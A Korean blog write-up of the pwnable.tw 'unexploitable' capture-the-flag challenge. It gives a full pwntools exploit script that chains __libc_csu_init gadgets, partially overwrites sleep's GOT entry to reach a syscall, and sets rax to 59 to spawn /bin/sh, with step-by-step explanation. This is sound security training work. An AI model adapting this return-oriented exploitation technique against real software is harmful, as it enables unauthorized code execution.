ghkdtlwns987
[pwnable.tw] unexploitable 본문
main 함수에 이거밖에 없다.
심지어 puts() 함수나, write, printf() 같은 함수도 존재하지 않는다.
대충 rtc + syscall 로 풀어야 한다.
우선 __libc_csu_init 을 살펴보자.
빨간, 노란색을 사용하면 될거다.
from pwn import*
import argparse
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote', action = 'store_true',help='-r -> remote')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10403
"""
r = process('./unexploitable')
payload = ''
payload += cyclic(0x100,n=8)
r.sendline(payload)
r.wait()
coredump = Core('./core')
offset = cyclic_find(coredump.fault_addr, n=8)
"""
offset = 0x18
log.info('offset = '+hex(offset))
pause()
elf = ELF('./unexploitable')
csu_init1 = 0x4005e6
csu_init2 = 0x4005d0
main = 0x400544
bss = elf.bss()
data = 0x601018
read_got = elf.got['read']
sleep_got = elf.got['sleep']
def move_gadget(rbx, rbp, r12, r13, r14, r15, ret):
payload = ''
payload += p64(0) #rsp + 0x0;
payload += p64(rbx) #rsp + 0x8;
payload += p64(rbp) #rsp + 0x10;
payload += p64(r12) #rsp + 0x18;
payload += p64(r13) #rsp + 0x20;
payload += p64(r14) #rsp + 0x28;
payload += p64(r15) #rsp + 0x30;
payload += p64(ret) #ret;
return payload
def exploit(syscall):
main = 0x400544
payload = ''
payload += 'A'*offset
payload += p64(csu_init1)
payload += move_gadget(0,1,read_got, 0, bss+0x100, 8, csu_init2)
payload += move_gadget(0,0,0,0,0,0,main)
sleep(3)
r.send(payload)
r.send('/bin/sh\x00')
payload = ''
payload += 'A'*24
payload += p64(csu_init1)
payload += move_gadget(0,1,read_got, 0, sleep_got, 1, csu_init2) #1byte overwrite
payload += move_gadget(0,1,read_got, 0, bss, 59, csu_init2)
payload += move_gadget(0,1,sleep_got, bss+0x100, 0,0,csu_init2)
sleep(3)
r.send(payload)
r.send(syscall)
r.send('A'*59)
r.interactive()
if args.remote:
libc = ELF('./libc_64.so.6')
r = remote(host,port)
exploit('\xfb')
else:
breakpoint = {'bp':0x400576}
libc = elf.libc
r = process('./unexploitable')
gdb.attach(r, 'b* {}'.format(breakpoint['bp']))
exploit('\xe0')
exploit 코드를 보면 우선, read(0, bss + 0x100, 8) 로 '/bin/sh' 를 입력해 주었는데,
보통은 plt 나 symbols 을 이용해 input 값을 받는다.
하지만 이번 문제에서는
이 부분에서 QWORD PTR 로 참조하고 있어서 read_got 를 줘서 입력받았다.
이후에 local 이면 sleep 함수의 하위 1byte에 \xe0 를 입력해 syscall 을 호출하도록 하였다.
nanosleep 에도 gadget 이 많지만 하위 2byte 가 달랐다.
그런데 마침 pause() 함수에 syscall 이 존재했다.
마지막으로 bss 영역에 'A'* 59 를 입력했는데,
이제 syscall Gadget 또한 완성이 되었는데,
rax 레지스터를 세팅 해 주어야 했다.
그래서 bss 에 'A'*59 를 입력해 주었다
(x64 에서는 함수를 호출할 때 $rax 에 ret 을 담기 때문이다.)
($rax 레지스터는 함수의 리턴 값을 담기 때문이다.
(read 함수에선 입력된 byte 수를 return 하는데, read() 가 종료됨과 동시에 ret -> csu_init2 가 실행되기 때문에,
$rax 에 59 가 저장된다.)
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] seethefile (0) | 2021.01.16 |
---|---|
[pwnable.tw] applestore (0) | 2020.12.29 |
[pwnable.tw] silver_bullet (0) | 2020.12.24 |
[pwnable.tw] hacknote (0) | 2020.12.07 |
[pwnable.tw] dubblesort (0) | 2020.11.22 |
Comments